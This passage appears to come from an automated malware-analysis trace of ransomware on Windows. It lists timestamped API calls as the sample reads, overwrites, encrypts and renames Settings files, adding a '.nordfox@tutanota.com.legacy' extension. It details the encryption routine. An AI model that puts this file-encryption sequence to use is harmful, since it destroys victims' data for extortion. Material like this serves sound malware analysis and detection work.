"c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isfollowinsertpointenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.850] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.850] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.850] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.851] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0197.852] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.852] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0197.852] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x520 [0197.852] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.852] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.852] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.853] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.853] CloseHandle (hObject=0x1c24) returned 1 [0197.853] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.855] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.855] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.855] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsAutoStartEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.855] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x54d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x54d, lpOverlapped=0x0) returned 1 [0197.857] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1357, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.857] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x54d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54d, lpOverlapped=0x0) returned 1 [0197.857] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54d [0197.857] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.857] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.857] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.858] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.858] CloseHandle (hObject=0x1c24) returned 1 [0197.858] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsAutoStartEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isautostartenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_Magnifier_IsAutoStartEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_magnifier_isautostartenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.871] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.871] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsOverlappedContentEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.871] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x547, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x547, lpOverlapped=0x0) returned 1 [0197.872] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.872] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x547, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x547, lpOverlapped=0x0) returned 1 [0197.873] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x547 [0197.873] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.873] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.873] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.873] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.873] CloseHandle (hObject=0x1c24) returned 1 [0197.874] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsOverlappedContentEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_isoverlappedcontentenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsOverlappedContentEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_isoverlappedcontentenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.875] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.875] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.875] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsMouseKeysEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.876] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x517, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x517, lpOverlapped=0x0) returned 1 [0197.883] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.883] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x517, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x517, lpOverlapped=0x0) returned 1 [0197.883] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x517 [0197.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.884] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.884] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.884] CloseHandle (hObject=0x1c24) returned 1 [0197.884] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsMouseKeysEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_ismousekeysenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsMouseKeysEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_ismousekeysenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.886] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsAnimationsEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.886] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x524, lpOverlapped=0x0) returned 1 [0197.888] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1316, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.888] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x524, lpOverlapped=0x0) returned 1 [0197.888] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x524 [0197.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.888] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.889] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.889] CloseHandle (hObject=0x1c24) returned 1 [0197.889] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsAnimationsEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_isanimationsenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_IsAnimationsEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_isanimationsenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_CursorThickness.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.891] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x510, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x510, lpOverlapped=0x0) returned 1 [0197.901] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.901] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x510, lpOverlapped=0x0) returned 1 [0197.902] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x510 [0197.902] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.902] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.902] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.902] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.903] CloseHandle (hObject=0x1c24) returned 1 [0197.903] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_CursorThickness.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_cursorthickness.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Accessibility_CursorThickness.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_accessibility_cursorthickness.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.905] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.905] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0197.905] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Settings_DeviceDiscoveryGroup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.905] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x482, lpOverlapped=0x0) returned 1 [0197.906] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1154, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.906] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x482, lpOverlapped=0x0) returned 1 [0197.907] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x482 [0197.907] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.907] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.907] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.907] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.908] CloseHandle (hObject=0x1c24) returned 1 [0197.908] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Settings_DeviceDiscoveryGroup.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settings_devicediscoverygroup.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Settings_DeviceDiscoveryGroup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settings_devicediscoverygroup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.915] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.915] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.915] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Settings_DeveloperModeGroup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.916] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x478, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x478, lpOverlapped=0x0) returned 1 [0197.923] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.923] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x478, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x478, lpOverlapped=0x0) returned 1 [0197.924] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x478 [0197.924] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 